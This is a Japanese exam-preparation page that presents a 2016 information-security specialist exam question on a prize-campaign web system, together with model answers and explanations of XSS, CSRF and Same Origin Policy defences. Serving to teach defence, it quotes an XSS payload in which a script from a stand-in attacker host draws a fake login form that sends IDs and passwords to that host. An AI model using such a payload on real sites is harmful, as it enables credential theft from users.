戦国IT - 情報処理技術者試験の過去問対策サイト
ブログお知らせお問い合わせ料金プラン

情報処理安全確保支援士 2016年 春期 午後1 問01


Webシステムの開発に関する次の記述を読んで、設問1~3に答えよ。

   L社は、ソフトウェア受託開発企業である。このたびL社は、食品製造会社M社から、M社製品の宣伝目的で行う懸賞への応募受付を主要機能とするWebシステム(以下、懸賞システムという)の開発を受託した。懸賞システムの開発プロジェクトのリーダには、L社開発部のJ主任が任命された。   〔画面と遷移〕  L社では、懸賞システムの画面と遷移について、図1の案を作成した。
情報処理安全確保支援士試験(平成28年度 午後1 問01 図01)
 図1中の画面のURLのホスト部は、全てkensho.m-sha.co.jpであり、パス部は画面ごとに異なっている。ここで、m-sha.co.jpはM社のドメイン名である。  図1中の矢印で示す画面遷移時に受け渡すパラメタを表1に示す。ただし、セッション維持に関するパラメタは省略している。
情報処理安全確保支援士試験(平成28年度 午後1 問01 表01)
〔脆弱性の発見〕  L社では、画面遷移についてM社の承認を得た後、順調に開発を進め、総合試験に進んだ。総合試験の一部である脆弱性検査については、セキュリティ専門業者のF社に依頼した。検査後、F社からL社に対して図2の報告があった。
情報処理安全確保支援士試験(平成28年度 午後1 問01 図02)
情報処理安全確保支援士試験(平成28年度 午後1 問01 図03)
情報処理安全確保支援士試験(平成28年度 午後1 問01 図04)
〔XSS脆弱性の説明と修正〕  次は、脆弱性検査の報告会での、J主任とF社の検査員Nさんとの質疑応答である。    J主任:XSS脆弱性は、入力値を細工すると警告ダイアログを表示できるという脆弱性ですよね。  Nさん:XSS脆弱性の影響は、警告ダイアログの表示だけではありません。例えば、攻撃者は、URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js&quot;&gt;&lt;/script&gt;を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成し、被害者に送付します。被害者がそのリンクをクリックした場合、図3の画面2-2ではなく、図5のように改変された画面2-2'が表示されます。このときのhttps://wana.example.jp/Login.jsのスクリプトは、図6のとおりです。
情報処理安全確保支援士試験(平成28年度 午後1 問01 図05)
情報処理安全確保支援士試験(平成28年度 午後1 問01 図06)
 Nさん:被害者が画面2-2'でメンバIDとパスワードを入力すると、それらはaというホスト名のWebサーバに送信されます。この場合、画面2-2'が表示された時点で、被害者が偽のログインフォームだと気付くかというと、それは難しいでしょう。  J主任:なるほど。こんな被害が発生するのですね。  Nさん:XSS脆弱性を使った他の攻撃例も紹介しましょう。Webブラウザには、bという仕組みが実装されているので、仮に、懸賞システムのコンテンツと、攻撃者が用意したWebサーバ上に置いてある攻撃者のコンテンツの両方を、フレームを使用して、Webブラウザ上で同一画面に表示したとしても、攻撃者のコンテンツ内のスクリプトで、懸賞システムのコンテンツを参照することはできません。しかし、図7のHTMLソースコードでは、bが役立ちません。攻撃者が用意したhttps://wana.example.jp/getFrame.jsというスクリプトで、3行目のフレームの内容を参照することができるので、その内容を攻撃者が用意したWebサーバに簡単に送信できます。
 Nさん:攻撃者が、自分のWebサーバ上にスクリプトを用意し、図7のHTMLソースコードへのリンクを電子メールで送信するなどして、そのHTMLソースコードを被害者のWebブラウザに読み込ませることによって、①画面3-7の表示内容が窃取される可能性があります。  J主任:そう考えると、懸賞システムの全ての画面で、表示される情報が窃取される危険性がありますね。    L社は、XSS脆弱性が存在するソースコードを修正した。   〔CSRF対策の説明と懸賞システムの修正〕  Nさんが引き続きCSRF対策について説明した内容を、図8に示す。
 Nさんの説明を受けて、L社では懸賞システムについて、CSRF対策を行う画面遷移と行わない画面遷移を、表2のように決定した。
〔再発防止策の検討〕  M社では、無事、懸賞システムの運用を開始したものの、J主任は、脆弱性が作り込まれないよう再発防止策が必要であると考えた。図9は懸賞システムの開発開始時点の、L社のWebアプリケーション開発ガイドライン(以下、ガイドラインという)である。
情報処理安全確保支援士試験(平成28年度 午後1 問01 図09)
 今回、XSS脆弱性の原因となった図4のソースコードを作成したT君に事情を聞いたところ、“②画面2-1においてWebブラウザ側のスクリプトで入力値を検査していたので、URLパラメタであるkeywordの値を信頼できるデータと判断して、出力データの生成にそのまま使用した”と答えた。  J主任は、信頼できるデータの定義を厳密に定めようと、Nさんに相談した。この時のNさんの回答を、図10に示す。
 J主任は、他の脆弱性に関する調査も進め、ガイドラインを修正した。このガイドラインによって、その後L社では、セキュリティについての品質が向上した。

設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。

問題文を見る
(1)本文中のaに入れる適切な字句を、FQDNで答えよ。

模範解答

a:wana.example.jp

解説

解答の論理構成

  • 【問題文】の会話で検査員Nさんは
    “被害者が画面2-2'でメンバIDとパスワードを入力すると、それらはaというホスト名のWebサーバに送信されます。”
    と説明しています。
  • 同じ会話内で、偽フォームを生成する外部スクリプトとして
    “<script src="https://wana.example.jp/Login.js"></script>”
    と明示されています。
  • さらに図6の4行目には
    action="https://wana.example.jp/login"
    が提示されており、送信先ホストが一致していることが分かります。
  • 以上から、空欄 a には「wana.example.jp」というFQDNを入れるのが妥当です。

誤りやすいポイント

  • “example.jp” 部分を企業ドメインなどに書き換えてしまう
    (数字・固有名詞は正確に引用する必要があります)。
  • “https://” を含めてしまい、ホスト名だけを答えるという指示を見落とす。
  • 図6では「/login」まで書かれているため、パスを含めて記述してしまう。

FAQ

Q: URL全体ではなくホスト名だけを答えるのはなぜですか?
A: 設問が “aというホスト名” と述べているため、パスやスキームは不要です。
Q: “wana.example.jp” と “www.example.jp” を混同しやすいのですが?
A: スクリプトやフォームの送信先に明示されている文字列が “wana.example.jp” なので、そのまま引用します。
Q: “example.jp” なので実在しないのでは?
A: 演習用ドメインとして用いられており、実在の有無は解答には影響しません。

関連キーワード: XSS, フィッシング、FQDN, ホスト名、URL

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。

問題文を見る
(2)画面2-2'を表示した時点で、Webブラウザのアドレスバーに表示されるURLのホスト部を、FQDNで答えよ。

模範解答

kensho.m-sha.co.jp

解説

解答の論理構成

  1. 問題文では攻撃者が送付するリンクについて
    ― “<script src="https://wana.example.jp/Login.js"></script>を組み込んだ**https://kensho.m-sha.co.jp/Gamen2_2**へのリンクを含む電子メールを作成”
    と明示されています。
  2. 被害者がリンクをクリックした結果
    ― “被害者がそのリンクをクリックした場合、…改変された**画面2-2'**が表示されます。”
    とあるように、表示コンテンツは書き換えられますがリダイレクトは発生していません。
  3. XSSはページ内部のDOMを改変する攻撃であり、URL自体を変更しない限りブラウザのアドレスバーはリンク先のホスト部を保持します。
  4. したがって、画面2-2'表示時のアドレスバーにはリンク先のホスト “kensho.m-sha.co.jp” が残ります。

誤りやすいポイント

  • スクリプトを取得している “wana.example.jp” を答えてしまう。外部スクリプトの読み込み先とアドレスバーの表示は無関係です。
  • フレームやリダイレクトを用いたフィッシングと混同し、「別サイトに遷移しているはずだ」と思い込む。XSSではページ遷移せずに内容だけ書き換えられる場合があります。
  • FQDNではなくサブディレクトリを含めた全文字列や、逆に “m-sha.co.jp” と途中で切ってしまう。設問は「ホスト部を、FQDNで」と指定しています。

FAQ

Q: 外部スクリプト “https://wana.example.jp/Login.js” を読み込んだのに、どうしてアドレスバーは変わらないのですか?
A: スクリプトは <script> タグで挿入されるだけで、ブラウザの現在ページは “https://kensho.m-sha.co.jp/Gamen2_2” のままだからです。読み込んだスクリプトがDOMを操作してもURLは書き換えられません。
Q: アドレスバーが変わらないなら、ユーザはどこを見て偽装に気付けばよいのでしょうか?
A: 通常は気付きにくいため、入力値をサーバ側で正しくエスケープするなど、そもそもXSS脆弱性を埋め込まないことが最重要です。
Q: 同一オリジンポリシーがあるのに、外部スクリプトからフォーム送信ができるのですか?
A: JavaScriptから外部サイトへHTTPリクエストを送ること(例:form actionを他サイトに指定)はブラウザの同一オリジン制約の対象外です。そのため攻撃者は被害サイト上で自由にフォームを生成し、別ドメインへ送信できます。

関連キーワード: XSS, FQDN, 同一オリジンポリシー、DOM操作

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。

問題文を見る
(3)本文中のbに入れる適切な字句を解答群の中から選び、記号で答えよ。
解答群  ア:Asynchronous JavaScript + XML  イ:HTTP Strict Transport Security  ウ:JavaScript Object Notation  エ:Same Origin Policy

模範解答

b:エ

解説

解答の論理構成

  1. 問題文には次の記述があります。
    Webブラウザには、bという仕組みが実装されているので、仮に、懸賞システムのコンテンツと、攻撃者が用意したWebサーバ上に置いてある攻撃者のコンテンツの両方を、フレームを使用して、Webブラウザ上で同一画面に表示したとしても、攻撃者のコンテンツ内のスクリプトで、懸賞システムのコンテンツを参照することはできません。
  2. ここで述べられている「同一画面に表示しても、スクリプトから他方の内容を参照できない」というブラウザの制限は、ドメイン・プロトコル・ポートが異なる場合に働く同一生成元ポリシーの説明と一致します。
  3. 解答群を確認すると、同一生成元ポリシーに該当する選択肢は
    エ:SameOriginPolicy
    だけです。
  4. したがって、bに入る適切な字句は 「SameOriginPolicy」、記号は エ となります。

誤りやすいポイント

  • 「HTTPStrictTransportSecurity」を選ぶ誤り
    ブラウザがHTTPSへの強制リダイレクトを行う仕組みであり、フレーム間アクセス制御とは無関係です。
  • 「AsynchronousJavaScript+XML」や「JavaScriptObjectNotation」を選ぶ誤り
    技術名称は似ていても、どちらもデータ通信手法・データ形式であり、アクセス制御機構ではありません。
  • 「クロスドメインでデータを取れない=CORS」と短絡し、選択肢にない用語を思い浮かべてしまうこと。CORSは例外的にアクセスを許可する仕組みであり、基本制限を課すのはSameOriginPolicyです。

FAQ

Q: SameOriginPolicyはフレームだけに適用されるのですか?
A: いいえ。フレームやwindow.open() で開いた別ウインドウ、XMLHttpRequestなど、JavaScriptから別オリジンへアクセスする多くの場面で適用されます。
Q: SameOriginPolicyがあるのに、なぜXSSで情報を盗めるのですか?
A: XSS攻撃では 悪意あるスクリプトを被害サイトと同一オリジンで実行させるため、制限を回避できてしまいます。したがって入力値の適切なエスケープが不可欠です。
Q: フレームを使わなければ安全ですか?
A: いいえ。XSSやCSRFはフレームを使わなくても発生します。フレームは攻撃の一手段にすぎませんので、根本的な対策(入力値検証・出力時エスケープ・CSRFトークン付与など)が重要です。

関連キーワード: Same-Origin Policy, XSS, DOM, CSRF, iframe

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。

問題文を見る
(4)図7中のc、dに入れる適切な字句を答えよ。

模範解答

解説

解答の論理構成

  • 図2の報告では「画面2-1から画面2-2への遷移において、クロスサイトスクリプティング(以下、XSSという)脆弱性を発見した」と指摘され、図4のソースコード6行目でreq.getParameter("keyword") を取得し、10行目で無加工表示しているため「keyword」パラメタが攻撃面であることが分かります。
  • また質疑応答でNさんは「攻撃者は、URLパラメタであるkeywordに攻撃用の文字列を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2 へのリンクを…」と説明しています。ここから、脆弱な画面は「https://kensho.m-sha.co.jp/Gamen2_2」であり、攻撃対象パラメタは「keyword」だと確定します。
  • 図7の行4は c?d=<script …> という形で、脆弱ページに対しXSSペイロードを埋め込むためのURLを組み立てる部分です。従って
    • c には「https://kensho.m-sha.co.jp/Gamen2_2」
    • d には攻撃対象であるパラメタ名「keyword」
    を入れることで、質疑応答と完全に一致する攻撃URLが完成します。

誤りやすいポイント

  • 画面3‐7を表示するURLと混同し、Gamen3_7を入れてしまう。図7の行3で既に使用済みな点に注意すべきです。
  • パラメタ名を「kw」と略記してしまう。図4のソースコードでローカル変数がkwでも、受信パラメタ名はkeywordです。
  • フルパスではなく相対パス /Gamen2_2と書くミス。図7は攻撃者サーバから直接参照されるのでスキーム・ホストを含む完全URLが必要です。

FAQ

Q: なぜkeywordがXSSの攻撃面と分かるのですか?
A: 図4でreq.getParameter("keyword") を取得し、エスケープなしで出力しているためです。質疑応答でもNさんが「URLパラメタであるkeywordに攻撃用の文字列を…」と明示しています。
Q: Gamen2_2の前にパスを書かずホスト名から始める理由は?
A: 図7のHTMLは攻撃者サイトから読み込まれる想定です。ブラウザが別ホストへアクセスするため、スキームhttps:// とホスト名kensho.m-sha.co.jpを含む完全修飾URLを書く必要があります。
Q: 他の画面にも同じXSS攻撃は可能ですか?
A: 入力値を無加工で出力している箇所があれば同様の危険があります。今回たまたま検出されたのがGamen2_2というだけで、全画面を点検することが推奨されます。

関連キーワード: クロスサイトスクリプティング、URLパラメータ、フレームセット攻撃、パラメタバリデーション

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問1:〔XSS脆弱性の説明と修正〕について、(1)〜(5)に答えよ。

問題文を見る
(5)本文中の下線①の窃取が成功するのは、懸賞システムにおいて、被害者がどのような状態にあるときか。20字以内で述べよ。

模範解答

懸賞メンバとしてログインしている状態

解説

解答の論理構成

  1. 攻撃者が窃取したいのは「①画面3-7の表示内容」です。
    【問題文引用】
    Nさん:攻撃者が…そのHTMLソースコードを被害者のWebブラウザに読み込ませることによって、①画面3-7の表示内容が窃取される可能性があります。
  2. 図7の<frame>タグで読み込まれるURLはhttps://kensho.m-sha.co.jp/Gamen3_7 です。
    【問題文引用】
    注記 https://kensho.m-sha.co.jp/Gamen3_7は、図1の画面3-7を表示する際のURLである。
  3. 画面3-7は会員の「住所」「氏名」などを修正する機能で、ログイン後のマイページ配下(画面3-3~3-9)に属します。
  4. これらマイページ配下のURLについては、ログインしていないと強制的にトップページへリダイレクトされます。
    【問題文引用】
    注記2:ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる。
  5. よって「画面3-7の内容がブラウザに表示されている=被害者が懸賞メンバとしてセッションを確立している」ことが前提です。
  6. 以上から、窃取が成功する条件は「懸賞メンバとしてログインしている状態」となります。

誤りやすいポイント

  • 「フレームで読み込むだけだからログイン不要」と誤解しやすいが、実際にはサーバ側で認証チェックが行われるため表示されない。
  • 「トップページの情報なら窃取できるのでは」と考えがちだが、攻撃対象はログイン後画面なのでセッション有無が決定的。
  • 同一生成画面であっても、URL直打ちで見られるページとセッション必須ページを区別し忘れると判断を誤る。

FAQ

Q: ログイン直後に自動ログアウトされた場合でも窃取は成立しますか?
A: セッションが切れていれば画面3-7は表示できずトップページへリダイレクトされるため、窃取は成立しません。
Q: ログイン状態でもCSRFトークンがあれば防げますか?
A: この窃取はフレーム越しに「表示内容」を抜き取る攻撃であり、CSRFトークンは送信操作の偽装を防ぐ仕組みなので直接の防御にはなりません。
Q: HTTPSを使っていれば解決しますか?
A: 通信経路の盗聴は防げますが、同一ブラウザ内でフレームを悪用するXSS由来の情報窃取はHTTPSでも発生します。

関連キーワード: XSS, セッション管理、Same-Origin Policy, フレーム、情報窃取

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問2:〔CSRF対策の説明と懸賞システムの修正〕について、(1)、(2)に答えよ。

問題文を見る
(1)図8中のe、fに入れる適切な字句を、それぞれ10字以内で答えよ。

模範解答

e:ランダムな値 f:hidden

解説

解答の論理構成

  1. 図8は「CSRF対策に関する説明」を示しています。
    (2)の実装ルールに
    ――「前画面で、HTMLフォーム内にeをfフィールドの値として埋め込む。」
    ――「画面遷移時に受信したデータが、埋め込んだeと一致するかを確認する。」
    とあります。
  2. CSRF対策では、利用者の意図しないリクエストかどうかを判断するために“予測不能な値”をフォームに埋め込み、次画面で一致確認を行う方法(Synchronizer Token Pattern)が基本です。
  3. ここで求められる“予測不能な値”は、セッション毎・リクエスト毎に生成して攻撃者が推測できないようにする必要があります。これを説明する最も一般的な語は「ランダムな値」です。したがってe=「ランダムな値」となります。
  4. トークンをユーザに見せずに送信させるため、フォームでは<input type="hidden">を用います。設問はその属性名を答えさせているので、f=「hidden」が正解です。

誤りやすいポイント

  • 「セッションID」をそのままeに使うと考えると失点します。図8は“前画面で埋め込み、次画面で一致確認”と書かれており、セッションIDは既にCookieで送信されているため趣旨が異なります。
  • fを「テキスト」や「submit」と記入する誤答が散見されます。トークンをユーザが目視できないようにする目的を忘れると選択を誤ります。
  • 一致確認の手順だけを覚えていて、トークン自体の「予測不能性」を軽視すると、eに「固定値」「ハッシュ値」など不適切な語を入れてしまいます。

FAQ

Q: ランダムならUUIDなど規則性のある形式でも良いですか?
A: はい。攻撃者が事前に推測できない値であればUUID、SecureRandomで生成した文字列など形式は問いません。
Q: hidden以外の方法でトークンを送る実装は認められますか?
A: HTTPヘッダに独自トークンを載せる方式などもありますが、図8が示す“HTMLフォーム内”という条件下ではhiddenフィールドが最適解です。
Q: トークンをCookieとhiddenの両方に入れ、ブラウザ同士で照合する二重送信トークン方式でも良いですか?
A: それもCSRF対策として有効ですが、図8の設問はシンプルなSynchronizer Token Patternを前提にしているため、hiddenフィールドのみで解答します。

関連キーワード: CSRF, トークン、ランダム値、フォーム送信、セッション

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問2:〔CSRF対策の説明と懸賞システムの修正〕について、(1)、(2)に答えよ。

問題文を見る
(2)表2中のg、hに入れる記号の適切な組合せを、解答群の中から選び、記号で答えよ。
情報処理安全確保支援士試験(平成28年度 午後1 問01 設問02-02)

模範解答

ウ

解説

解答の論理構成

  1. CSRF対策が必要となるのは「利用者の意図しないままサーバの状態が変更される操作」です。図8(2)では、
    “POSTメソッドによるアクセスだけを用いる”
    と明示されており、サーバ側でデータが更新・登録されるフォーム送信が対象であると分かります。
  2. 表1でパラメタが送信される画面遷移を確認すると、状態変更が発生するのは次の五つです。
    ・(お) “メンバID, パスワード” … ログイン処理
    ・(き) “選択したキャンペーン名” … 応募処理の開始
    ・(く) “応募必要事項” … 応募内容の送信
    ・(け) “応募必要事項” … 応募の確定
    ・(し) “住所、 氏名、 電話番号、 メールアドレス”
    ・(す) “住所、 氏名、 電話番号、 メールアドレス” … 登録情報の更新
    ここで(お),(き),(け)は既に表2の固定値として挙がっています。
  3. 残る候補は(く),(し),(す)です。一方、検索や画面表示のみでサーバ状態が変わらない
    (い),(さ),(せ) はCSRF対策不要の典型例です。
  4. 解答群を照合すると、
    ・“g列”に (く),(し),(す) をまとめ、
    ・“h列”に (い),(さ),(せ) を配置しているのは【ウ】だけです。
  5. よって、g=(く)(し)(す)、h=(い)(さ)(せ) を採る「ウ」が正答になります。

誤りやすいポイント

  • 「検索」や「一覧表示」もパラメタを送受信するためCSRF対策が要ると早合点する。サーバの“状態変更”かどうかを基準に判断しましょう。
  • (き) を“表示用だから不要”と見落とすケース。応募プロセスの開始なので攻撃者にとって悪用価値が高く、対策対象です。
  • (し) と (す) を片方だけ保護すれば十分と誤認する。住所等の個人情報はどちらの送信でも改ざんされ得るため両方必要です。

FAQ

Q: GETメソッドでもCSRF被害は起きますか?
A: URL直打ちで完了する更新系APIなら発生しますが、本設問では更新系はPOST前提なのでGET画面遷移は除外しています。
Q: 同じ情報を2段階で送る (く) と (け) の両方を保護する理由は?
A: (く) で偽データを注入し、(け) を本物ページで正規送信する“二段階攻撃”を防ぐため、両方にトークンを埋め込みます。
Q: (さ) の「メンバ登録情報の修正」画面表示にCSRF対策が不要なのは?
A: 画面を“表示するだけ”でサーバの情報はまだ書き換えられません。実際の変更処理は (し)(す) に含まれています。

関連キーワード: CSRF, POSTトークン, 画面遷移, 状態変更, フォーム送信

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。

問題文を見る
(1)本文中の下線②の検査では、攻撃を防御する上で効果を発揮しない理由を、40字以内で具体的に述べよ。

模範解答

攻撃者は、画面2-1を経由させずに直接画面2-2へアクセスさせるから

解説

解答の論理構成

  • 【問題文】では“②画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた”とあります。これは「画面2-1」で クライアント側 のJavaScriptがkeywordを検証する方式です。
  • しかしNさんは、“攻撃者は、URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana.example.jp/Login.js"></script>を組み込んだhttps://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成” と説明しています。
  • つまり攻撃者は 「画面2-1」を経由せずに 被害者のブラウザを直接 “https://kensho.m-sha.co.jp/Gamen2_2” に遷移させ、keywordに悪意ある値を渡します。
  • ブラウザ側検査は「画面2-1」にしか存在しないので、このバイパスを阻止できません。したがって下線②の検査はXSS攻撃を防御できず、模範解答のとおりになります。

誤りやすいポイント

  • サーバ側で再検証していると勘違いし、「十分な対策」と誤認する。
  • 「画面2-1の検査=全遷移で有効」と思い込み、直接URL参照を見落とす。
  • 「POST送信なら安全」と短絡し、GETパラメータ経由のXSSを軽視する。

FAQ

Q: 画面2-1の検査をサーバ側に移せば防げますか?
A: サーバ側でkeywordをサニタイズ・エスケープすれば、直接アクセスでもXSSを防止できます。
Q: クライアント側検査は無意味なのでしょうか?
A: 入力ミスの早期通知などユーザビリティ面では有用ですが、セキュリティ対策としては必ずサーバ側検査と併用が必要です。
Q: GETをPOSTに変えるだけでXSSは防げますか?
A: 送信方法を変えてもブラウザはレスポンスをそのまま解釈します。出力時のエスケープが根本対策です。

関連キーワード: クロスサイトスクリプティング、クライアントサイド検証、サーバサイド検証、入力値サニタイズ、URLパラメータ

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。

問題文を見る
(2)図10中のiに入れる適切な字句を、10字以内で答えよ。

模範解答

i:サーバサイド

解説

解答の論理構成

  • 図9のガイドラインは「利用者が入力する値は、期待する入力値として正当かどうか検査すること」と規定していましたが、検査場所の明示がありませんでした。
  • T君は“②「画面2-1においてWebブラウザ側のスクリプトで入力値を検査していた」ので、URLパラメタであるkeywordの値を信頼できるデータと判断”し、そのまま10行目で出力に使用したためXSSが発生しました。
  • この経緯を踏まえ、Nさんは図10で「入力値が正当かどうかを i で稼働するプログラムで確認する必要がある」と指摘しています。
  • クライアント(Webブラウザ)側の検査はユーザ任意のJavaScriptで迂回できるため、信頼できません。したがって検査は改ざんされにくいサーバで実施する必要があります。
  • 以上より i に入る語は「サーバサイド」です。

誤りやすいポイント

  • 「ブラウザ側検査で十分」と思い込み「クライアントサイド」と答えてしまう。
  • JavaScriptという実装言語名を書いてしまう。求められているのは検査を行う“場所”です。
  • 「バックエンド」など曖昧な語を使い、原文のニュアンスとずれる。

FAQ

Q: クライアント側で入力チェックしてはいけないのですか?
A: UX向上のための簡易チェックは有効ですが、最終的な正当性確認は「サーバサイド」で行わなければ信頼できません。
Q: サーバサイド検証をしてもXSSを完全に防げますか?
A: 入力検証は重要ですが、出力時エスケープなど多層防御が必要です。検証だけでは全てのXSSを防げません。
Q: フレームワークのバリデーション機能を使えば十分ですか?
A: 多くの場合有効ですが、仕様外の入力やカスタムフィールドもあるため、フレームワークに依存しすぎず設計段階から要件を明確にしてください。

関連キーワード: XSS, 入力値検証、サーバサイド、エスケープ、CSRF

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

設問3:〔再発防止策の検討〕について、(1)〜(3)に答えよ。

問題文を見る
(3)図10中のjに入れる適切な字句を、5字以内で答えよ。

模範解答

j:URL

解説

解答の論理構成

  • 図10の引用
    「例えば、j を出力する箇所では、XSS脆弱性を防ぐために “javascript:” などの文字列を排除する必要がある。」
    ⇒ “javascript:” は <a href="javascript:..."> や <img src="javascript:..."> といったリンク先やリソース先を示す属性値で利用され、ここに悪意コードを混入させるとXSSが成立します。
  • hrefやsrcが表す値は URL であり、HTML仕様上「javascript:」「data:」などのスキームも許容されます。したがって、XSS対策としてスキーム単位のホワイトリスト検査が必要であるという文脈になります。
  • よって j には「URL」を入れると文章が自然に成立し、XSSの注意点も正しく説明できます。

誤りやすいポイント

  • href属性 や リンク先 と答えると、「<>&”” を含まない文字列」の例示と合わず不自然になります。
  • JavaScriptと答えると、「“javascript:” などの文字列を排除する」という後半と意味が重複し、排除対象と出力対象が逆転します。
  • XSS脆弱性では「エスケープさえすれば安全」と誤認しがちですが、URLコンテキストではスキーム検査を行わないとエスケープだけでは防げません。

FAQ

Q: なぜ <script> ではなくURLが話題になるのですか?
A: URLスキームにjavascript: を仕込むことでスクリプト実行が可能になり、タグ挿入なしでもXSSが発生するためです。
Q: URLに対する代表的なフィルタ方法は?
A: httpとhttpsだけをホワイトリストで許可し、先頭を正規表現 ^https?:// でチェックする方法が一般的です。
Q: エスケープとホワイトリスト検査は併用すべきですか?
A: はい。まずコンテキストに応じたエスケープを行い、URLであればスキームホワイトリスト検査を追加することで多層防御になります。

関連キーワード: クロスサイトスクリプティング、URLスキーム、入力値検証、ホワイトリスト、出力エスケープ

解説を読んでも分からないところは、AIに質問できます。 この問題の本文と解説をふまえて答えます。

この設問をAIに質問する

クイズモードで開きます(AIへの質問は無料の会員登録で使えます)

戦国ITクイズ機能

\ せっかくなら /

情報処理安全確保支援士を
クイズ形式で学習しませんか?

クイズ画面へ遷移する→

すぐに利用可能!

©︎2026 情報処理技術者試験対策アプリ

このサイトについてブログプライバシーポリシー利用規約特商法表記開発者について